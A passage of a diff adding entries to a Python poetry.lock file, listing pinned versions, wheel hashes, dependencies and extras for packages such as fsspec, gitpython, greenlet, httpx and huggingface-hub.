"sha256:836b42f472a0e006e02499cef9352ce8097f33df43baaba3e0a28a964c26c7d2"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e22b9a99741294b2571667c07d9f8cceec07cb92aae5ccda39ea1b6052ed4319"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:9a19e85cc503d958abe5218953df722748d87172f71b73cf3c9257a91b999890"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f22dac33bb3ee8fe3e013aa7b91dc12f60d61d05b7fe32191ffa84c3aafe77bd"}, + {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9ccec739a99e4ccf664ea0775149f2749b8a6418eb5b8384b4dc0a7d15d304cb"}, + {file = "frozenlist-1.7.0-cp39-cp39-win32.whl", hash = "sha256:b3950f11058310008a87757f3eee16a8e1ca97979833239439586857bc25482e"}, + {file = "frozenlist-1.7.0-cp39-cp39-win_amd64.whl", hash = "sha256:43a82fce6769c70f2f5a06248b614a7d268080a9d20f7457ef10ecee5af82b63"}, + {file = "frozenlist-1.7.0-py3-none-any.whl", hash = "sha256:9a5af342e34f7e97caf8c995864c7a396418ae2859cc6fdf1b1073020d516a7e"}, + {file = "frozenlist-1.7.0.tar.gz", hash = "sha256:2e310d81923c2437ea8670467121cc3e9b0f76d3043cc1d2331d56c7fb7a3a8f"}, +] + +[[package]] +name = "fsspec" +version = "2025.7.0" +description = "File-system specification" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "fsspec-2025.7.0-py3-none-any.whl", hash = "sha256:8b012e39f63c7d5f10474de957f3ab793b47b45ae7d39f2fb735f8bbe25c0e21"}, + {file = "fsspec-2025.7.0.tar.gz", hash = "sha256:786120687ffa54b8283d942929540d8bc5ccfa820deb555a2b5d0ed2b737bf58"}, +] + +[package.extras] +abfs = ["adlfs"] +adl = ["adlfs"] +arrow = ["pyarrow (>=1)"] +dask = ["dask", "distributed"] +dev = ["pre-commit", "ruff (>=0.5)"] +doc = ["numpydoc", "sphinx", "sphinx-design", "sphinx-rtd-theme", "yarl"] +dropbox = ["dropbox", "dropboxdrivefs", "requests"] +full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "dask", "distributed", "dropbox", "dropboxdrivefs", "fusepy", "gcsfs", "libarchive-c", "ocifs", "panel", "paramiko", "pyarrow (>=1)", "pygit2", "requests", "s3fs", "smbprotocol", "tqdm"] +fuse = ["fusepy"] +gcs = ["gcsfs"] +git = ["pygit2"] +github = ["requests"] +gs = ["gcsfs"] +gui = ["panel"] +hdfs = ["pyarrow (>=1)"] +http = ["aiohttp (!=4.0.0a0,!=4.0.0a1)"] +libarchive = ["libarchive-c"] +oci = ["ocifs"] +s3 = ["s3fs"] +sftp = ["paramiko"] +smb = ["smbprotocol"] +ssh = ["paramiko"] +test = ["aiohttp (!=4.0.0a0,!=4.0.0a1)", "numpy", "pytest", "pytest-asyncio (!=0.22.0)", "pytest-benchmark", "pytest-cov", "pytest-mock", "pytest-recording", "pytest-rerunfailures", "requests"] +test-downstream = ["aiobotocore (>=2.5.4,<3.0.0)", "dask[dataframe,test]", "moto[server] (>4,<5)", "pytest-timeout", "xarray"] +test-full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "cloudpickle", "dask", "distributed", "dropbox", "dropboxdrivefs", "fastparquet", "fusepy", "gcsfs", "jinja2", "kerchunk", "libarchive-c", "lz4", "notebook", "numpy", "ocifs", "pandas", "panel", "paramiko", "pyarrow", "pyarrow (>=1)", "pyftpdlib", "pygit2", "pytest", "pytest-asyncio (!=0.22.0)", "pytest-benchmark", "pytest-cov", "pytest-mock", "pytest-recording", "pytest-rerunfailures", "python-snappy", "requests", "smbprotocol", "tqdm", "urllib3", "zarr", "zstandard"] +tqdm = ["tqdm"] + +[[package]] +name = "gitdb" +version = "4.0.12" +description = "Git Object Database" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "gitdb-4.0.12-py3-none-any.whl", hash = "sha256:67073e15955400952c6565cc3e707c554a4eea2e428946f7a4c162fab9bd9bcf"}, + {file = "gitdb-4.0.12.tar.gz", hash = "sha256:5ef71f855d191a3326fcfbc0d5da835f26b13fbcba60c32c21091c349ffdb571"}, +] + +[package.dependencies] +smmap = ">=3.0.1,<6" + +[[package]] +name = "gitpython" +version = "3.1.45" +description = "GitPython is a Python library used to interact with Git repositories" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "gitpython-3.1.45-py3-none-any.whl", hash = "sha256:8908cb2e02fb3b93b7eb0f2827125cb699869470432cc885f019b8fd0fccff77"}, + {file = "gitpython-3.1.45.tar.gz", hash = "sha256:85b0ee964ceddf211c41b9f27a49086010a190fd8132a24e21f362a4b36a791c"}, +] + +[package.dependencies] +gitdb = ">=4.0.1,<5" + +[package.extras] +doc = ["sphinx (>=7.1.2,<7.2)", "sphinx-autodoc-typehints", "sphinx_rtd_theme"] +test = ["coverage[toml]", "ddt (>=1.1.1,!=1.4.3)", "mock", "mypy", "pre-commit", "pytest (>=7.3.1)", "pytest-cov", "pytest-instafail", "pytest-mock", "pytest-sugar", "typing-extensions"] + +[[package]] +name = "gql" +version = "3.5.3" +description = "GraphQL client for Python" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "gql-3.5.3-py2.py3-none-any.whl", hash = "sha256:e1fcbde2893fcafdd28114ece87ff47f1cc339a31db271fc4e1d528f5a1d4fbc"}, + {file = "gql-3.5.3.tar.gz", hash = "sha256:393b8c049d58e0d2f5461b9d738a2b5f904186a40395500b4a84dd092d56e42b"}, +] + +[package.dependencies] +anyio = ">=3.0,<5" +backoff = ">=1.11.1,<3.0" +graphql-core = ">=3.2,<3.2.7" +requests = {version = ">=2.26,<3", optional = true, markers = "extra == \"requests\""} +requests-toolbelt = {version = ">=1.0.0,<2", optional = true, markers = "extra == \"requests\""} +yarl = ">=1.6,<2.0" + +[package.extras] +aiohttp = ["aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)"] +all = ["aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "botocore (>=1.21,<2)", "httpx (>=0.23.1,<1)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "websockets (>=10,<12)"] +botocore = ["botocore (>=1.21,<2)"] +dev = ["aiofiles", "aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "black (==22.3.0)", "botocore (>=1.21,<2)", "check-manifest (>=0.42,<1)", "flake8 (==3.8.1)", "httpx (>=0.23.1,<1)", "isort (==4.3.21)", "mock (==4.0.2)", "mypy (==0.910)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "sphinx (>=5.3.0,<6)", "sphinx-argparse (==0.2.5)", "sphinx-rtd-theme (>=0.4,<1)", "types-aiofiles", "types-mock", "types-requests", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)", "websockets (>=10,<12)"] +httpx = ["httpx (>=0.23.1,<1)"] +requests = ["requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)"] +test = ["aiofiles", "aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "botocore (>=1.21,<2)", "httpx (>=0.23.1,<1)", "mock (==4.0.2)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)", "websockets (>=10,<12)"] +test-no-transport = ["aiofiles", "mock (==4.0.2)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)"] +websockets = ["websockets (>=10,<12)"] + +[[package]] +name = "graphql-core" +version = "3.2.6" +description = "GraphQL implementation for Python, a port of GraphQL.js, the JavaScript reference implementation for GraphQL." +optional = false +python-versions = "<4,>=3.6" +groups = ["main"] +files = [ + {file = "graphql_core-3.2.6-py3-none-any.whl", hash = "sha256:78b016718c161a6fb20a7d97bbf107f331cd1afe53e45566c59f776ed7f0b45f"}, + {file = "graphql_core-3.2.6.tar.gz", hash = "sha256:c08eec22f9e40f0bd61d805907e3b3b1b9a320bc606e23dc145eebca07c8fbab"}, +] + +[[package]] +name = "greenlet" +version = "3.2.3" +description = "Lightweight in-process concurrent programming" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "greenlet-3.2.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:1afd685acd5597349ee6d7a88a8bec83ce13c106ac78c196ee9dde7c04fe87be"}, + {file = "greenlet-3.2.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:761917cac215c61e9dc7324b2606107b3b292a8349bdebb31503ab4de3f559ac"}, + {file = "greenlet-3.2.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:a433dbc54e4a37e4fff90ef34f25a8c00aed99b06856f0119dcf09fbafa16392"}, + {file = "greenlet-3.2.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:72e77ed69312bab0434d7292316d5afd6896192ac4327d44f3d613ecb85b037c"}, + {file = "greenlet-3.2.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:68671180e3849b963649254a882cd544a3c75bfcd2c527346ad8bb53494444db"}, + {file = "greenlet-3.2.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49c8cfb18fb419b3d08e011228ef8a25882397f3a859b9fe1436946140b6756b"}, + {file = "greenlet-3.2.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:efc6dc8a792243c31f2f5674b670b3a95d46fa1c6a912b8e310d6f542e7b0712"}, + {file = "greenlet-3.2.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:731e154aba8e757aedd0781d4b240f1225b075b4409f1bb83b05ff410582cf00"}, + {file = "greenlet-3.2.3-cp310-cp310-win_amd64.whl", hash = "sha256:96c20252c2f792defe9a115d3287e14811036d51e78b3aaddbee23b69b216302"}, + {file = "greenlet-3.2.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:784ae58bba89fa1fa5733d170d42486580cab9decda3484779f4759345b29822"}, + {file = "greenlet-3.2.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0921ac4ea42a5315d3446120ad48f90c3a6b9bb93dd9b3cf4e4d84a66e42de83"}, + {file = "greenlet-3.2.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:d2971d93bb99e05f8c2c0c2f4aa9484a18d98c4c3bd3c62b65b7e6ae33dfcfaf"}, + {file = "greenlet-3.2.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:c667c0bf9d406b77a15c924ef3285e1e05250948001220368e039b6aa5b5034b"}, + {file = "greenlet-3.2.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:592c12fb1165be74592f5de0d70f82bc5ba552ac44800d632214b76089945147"}, + {file = "greenlet-3.2.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29e184536ba333003540790ba29829ac14bb645514fbd7e32af331e8202a62a5"}, + {file = "greenlet-3.2.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:93c0bb79844a367782ec4f429d07589417052e621aa39a5ac1fb99c5aa308edc"}, + {file = "greenlet-3.2.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:751261fc5ad7b6705f5f76726567375bb2104a059454e0226e1eef6c756748ba"}, + {file = "greenlet-3.2.3-cp311-cp311-win_amd64.whl", hash = "sha256:83a8761c75312361aa2b5b903b79da97f13f556164a7dd2d5448655425bd4c34"}, + {file = "greenlet-3.2.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:25ad29caed5783d4bd7a85c9251c651696164622494c00802a139c00d639242d"}, + {file = "greenlet-3.2.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:88cd97bf37fe24a6710ec6a3a7799f3f81d9cd33317dcf565ff9950c83f55e0b"}, + {file = "greenlet-3.2.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:baeedccca94880d2f5666b4fa16fc20ef50ba1ee353ee2d7092b383a243b0b0d"}, + {file = "greenlet-3.2.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:be52af4b6292baecfa0f397f3edb3c6092ce071b499dd6fe292c9ac9f2c8f264"}, + {file = "greenlet-3.2.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0cc73378150b8b78b0c9fe2ce56e166695e67478550769536a6742dca3651688"}, + {file = "greenlet-3.2.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:706d016a03e78df129f68c4c9b4c4f963f7d73534e48a24f5f5a7101ed13dbbb"}, + {file = "greenlet-3.2.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:419e60f80709510c343c57b4bb5a339d8767bf9aef9b8ce43f4f143240f88b7c"}, + {file = "greenlet-3.2.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:93d48533fade144203816783373f27a97e4193177ebaaf0fc396db19e5d61163"}, + {file = "greenlet-3.2.3-cp312-cp312-win_amd64.whl", hash = "sha256:7454d37c740bb27bdeddfc3f358f26956a07d5220818ceb467a483197d84f849"}, + {file = "greenlet-3.2.3-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:500b8689aa9dd1ab26872a34084503aeddefcb438e2e7317b89b11eaea1901ad"}, + {file = "greenlet-3.2.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a07d3472c2a93117af3b0136f246b2833fdc0b542d4a9799ae5f41c28323faef"}, + {file = "greenlet-3.2.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:8704b3768d2f51150626962f4b9a9e4a17d2e37c8a8d9867bbd9fa4eb938d3b3"}, + {file = "greenlet-3.2.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:5035d77a27b7c62db6cf41cf786cfe2242644a7a337a0e155c80960598baab95"}, + {file = "greenlet-3.2.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2d8aa5423cd4a396792f6d4580f88bdc6efcb9205891c9d40d20f6e670992efb"}, + {file = "greenlet-3.2.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2c724620a101f8170065d7dded3f962a2aea7a7dae133a009cada42847e04a7b"}, + {file = "greenlet-3.2.3-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:873abe55f134c48e1f2a6f53f7d1419192a3d1a4e873bace00499a4e45ea6af0"}, + {file = "greenlet-3.2.3-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:024571bbce5f2c1cfff08bf3fbaa43bbc7444f580ae13b0099e95d0e6e67ed36"}, + {file = "greenlet-3.2.3-cp313-cp313-win_amd64.whl", hash = "sha256:5195fb1e75e592dd04ce79881c8a22becdfa3e6f500e7feb059b1e6fdd54d3e3"}, + {file = "greenlet-3.2.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:3d04332dddb10b4a211b68111dabaee2e1a073663d117dc10247b5b1642bac86"}, + {file = "greenlet-3.2.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8186162dffde068a465deab08fc72c767196895c39db26ab1c17c0b77a6d8b97"}, + {file = "greenlet-3.2.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f4bfbaa6096b1b7a200024784217defedf46a07c2eee1a498e94a1b5f8ec5728"}, + {file = "greenlet-3.2.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:ed6cfa9200484d234d8394c70f5492f144b20d4533f69262d530a1a082f6ee9a"}, + {file = "greenlet-3.2.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:02b0df6f63cd15012bed5401b47829cfd2e97052dc89da3cfaf2c779124eb892"}, + {file = "greenlet-3.2.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:86c2d68e87107c1792e2e8d5399acec2487a4e993ab76c792408e59394d52141"}, + {file = "greenlet-3.2.3-cp314-cp314-win_amd64.whl", hash = "sha256:8c47aae8fbbfcf82cc13327ae802ba13c9c36753b67e760023fd116bc124a62a"}, + {file = "greenlet-3.2.3-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:42efc522c0bd75ffa11a71e09cd8a399d83fafe36db250a87cf1dacfaa15dc64"}, + {file = "greenlet-3.2.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d760f9bdfe79bff803bad32b4d8ffb2c1d2ce906313fc10a83976ffb73d64ca7"}, + {file = "greenlet-3.2.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:8324319cbd7b35b97990090808fdc99c27fe5338f87db50514959f8059999805"}, + {file = "greenlet-3.2.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:8c37ef5b3787567d322331d5250e44e42b58c8c713859b8a04c6065f27efbf72"}, + {file = "greenlet-3.2.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ce539fb52fb774d0802175d37fcff5c723e2c7d249c65916257f0a940cee8904"}, + {file = "greenlet-3.2.3-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:003c930e0e074db83559edc8705f3a2d066d4aa8c2f198aff1e454946efd0f26"}, + {file = "greenlet-3.2.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7e70ea4384b81ef9e84192e8a77fb87573138aa5d4feee541d8014e452b434da"}, + {file = "greenlet-3.2.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:22eb5ba839c4b2156f18f76768233fe44b23a31decd9cc0d4cc8141c211fd1b4"}, + {file = "greenlet-3.2.3-cp39-cp39-win32.whl", hash = "sha256:4532f0d25df67f896d137431b13f4cdce89f7e3d4a96387a41290910df4d3a57"}, + {file = "greenlet-3.2.3-cp39-cp39-win_amd64.whl", hash = "sha256:aaa7aae1e7f75eaa3ae400ad98f8644bb81e1dc6ba47ce8a93d3f17274e08322"}, + {file = "greenlet-3.2.3.tar.gz", hash = "sha256:8b0dd8ae4c0d6f5e54ee55ba935eeb3d735a9b58a8a1e5b5cbab64e01a39f365"}, +] + +[package.extras] +docs = ["Sphinx", "furo"] +test = ["objgraph", "psutil"] + +[[package]] +name = "grep-ast" +version = "0.9.0" +description = "A tool to grep through the AST of a source file" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "grep_ast-0.9.0-py3-none-any.whl", hash = "sha256:a3973dca99f1abc026a01bbbc70e00a63860c8ff94a56182ff18b089836826d7"}, + {file = "grep_ast-0.9.0.tar.gz", hash = "sha256:620a242a4493e6721338d1c9a6c234ae651f8774f4924a6dcf90f6865d4b2ee3"}, +] + +[package.dependencies] +pathspec = "*" +tree-sitter-language-pack = "*" + +[[package]] +name = "gunicorn" +version = "23.0.0" +description = "WSGI HTTP Server for UNIX" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "gunicorn-23.0.0-py3-none-any.whl", hash = "sha256:ec400d38950de4dfd418cff8328b2c8faed0edb0d517d3394e457c317908ca4d"}, + {file = "gunicorn-23.0.0.tar.gz", hash = "sha256:f014447a0101dc57e294f6c18ca6b40227a4c90e9bdb586042628030cba004ec"}, +] + +[package.dependencies] +packaging = "*" + +[package.extras] +eventlet = ["eventlet (>=0.24.1,!=0.36.0)"] +gevent = ["gevent (>=1.4.0)"] +setproctitle = ["setproctitle"] +testing = ["coverage", "eventlet", "gevent", "pytest", "pytest-cov"] +tornado = ["tornado (>=0.2)"] + +[[package]] +name = "h11" +version = "0.16.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, +] + +[[package]] +name = "hf-xet" +version = "1.1.5" +description = "Fast transfer of large files with the Hugging Face Hub." +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\"" +files = [ + {file = "hf_xet-1.1.5-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:f52c2fa3635b8c37c7764d8796dfa72706cc4eded19d638331161e82b0792e23"}, + {file = "hf_xet-1.1.5-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:9fa6e3ee5d61912c4a113e0708eaaef987047616465ac7aa30f7121a48fc1af8"}, + {file = "hf_xet-1.1.5-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc874b5c843e642f45fd85cda1ce599e123308ad2901ead23d3510a47ff506d1"}, + {file = "hf_xet-1.1.5-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dbba1660e5d810bd0ea77c511a99e9242d920790d0e63c0e4673ed36c4022d18"}, + {file = "hf_xet-1.1.5-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ab34c4c3104133c495785d5d8bba3b1efc99de52c02e759cf711a91fd39d3a14"}, + {file = "hf_xet-1.1.5-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:83088ecea236d5113de478acb2339f92c95b4fb0462acaa30621fac02f5a534a"}, + {file = "hf_xet-1.1.5-cp37-abi3-win_amd64.whl", hash = "sha256:73e167d9807d166596b4b2f0b585c6d5bd84a26dea32843665a8b58f6edba245"}, + {file = "hf_xet-1.1.5.tar.gz", hash = "sha256:69ebbcfd9ec44fdc2af73441619eeb06b94ee34511bbcf57cd423820090f5694"}, +] + +[package.extras] +tests = ["pytest"] + +[[package]] +name = "httpcore" +version = "1.0.9" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, + {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, +] + +[package.dependencies] +certifi = "*" +h11 = ">=0.16" + +[package.extras] +asyncio = ["anyio (>=4.0,<5.0)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +trio = ["trio (>=0.22.0,<1.0)"] + +[[package]] +name = "httpx" +version = "0.28.1" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, + {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, +] + +[package.dependencies] +anyio = "*" +certifi = "*" +httpcore = "==1.*" +idna = "*" + +[package.extras] +brotli = ["brotli", "brotlicffi"] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "httpx-sse" +version = "0.4.1" +description = "Consume Server-Sent Event (SSE) messages with HTTPX." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "httpx_sse-0.4.1-py3-none-any.whl", hash = "sha256:cba42174344c3a5b06f255ce65b350880f962d99ead85e776f23c6618a377a37"}, + {file = "httpx_sse-0.4.1.tar.gz", hash = "sha256:8f44d34414bc7b21bf3602713005c5df4917884f76072479b21f68befa4ea26e"}, +] + +[[package]] +name = "huggingface-hub" +version = "0.34.3" +description = "Client library to download and publish models, datasets and other repos on the huggingface.co hub" +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +files = [ + {file = "huggingface_hub-0.34.3-py3-none-any.whl", hash = "sha256:5444550099e2d86e68b2898b09e85878fbd788fc2957b506c6a79ce060e39492"}, + {file = "huggingface_hub-0.34.3.tar.gz", hash = "sha256:d58130fd5aa7408480681475491c0abd7e835442082fbc3ef4d45b6c39f83853"}, +] + +[package.dependencies] +filelock = "*" +fsspec = ">=2023.5.0" +hf-xet = {version = ">=1.1.3,<2.0.0", markers = "platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\""} +packaging = ">=20.9" +pyyaml = ">=5.1" +requests = "*" +tqdm = ">=4.42.1" +typing-extensions = ">=3.7.4.3" + +[package.extras] +all = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "ruff (>=0.9.0)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)", "urllib3 (<2.0)"] +cli = ["InquirerPy (==0.3.4)"] +dev = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "ruff (>=0.9.0)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)", "urllib3 (<2.0)"] +fastai = ["fastai (>=2.4)", "fastcore (>=1.3.27)", "toml"] +hf-transfer = ["hf-transfer (>=0.1.4)"] +hf-xet = ["hf-xet (>=1.1.2,<2.0.0)"] +inference = ["aiohttp"] +mcp = ["aiohttp", "mcp (>=1.8.0)", "typer"] +oauth = ["authlib (>=1.3.2)", "fastapi", "httpx", "itsdangerous"] +quality = ["libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "ruff (>=0.9.0)"] +tensorflow = ["graphviz", "pydot", "tensorflow"] +tensorflow-testing = ["keras (<3.0)", "tensorflow"] +testing = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "soundfile", "urllib3 (<2.0)"] +torch = ["safetensors[torch]", "torch"] +typing = ["types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)"] + +[[package]] +name = "identify" +version = "2.6.12" +description = "File identification library for Python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "identify-2.6.12-py2.py3-none-any.whl", hash = "sha256:ad9672d5a72e0d2ff7c5c8809b62dfa60458626352fb0eb7b55e69bdc45334a2"}, + {file = "identify-2.6.12.tar.gz", hash = "sha256:d8de45749f1efb108badef65ee8386f0f7bb19a7f26185f74de6367bffbaf0e6"}, +] + +[package.extras] +license = ["ukkonen"] + +[[package]] +name = "idna" +version = "3.10" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, +] + +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + +[[package]] +name = "imagesize" +version = "1.4.1" +description = "Getting image size from png/jpeg/jpeg2000/gif file" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +groups = ["main"] +files = 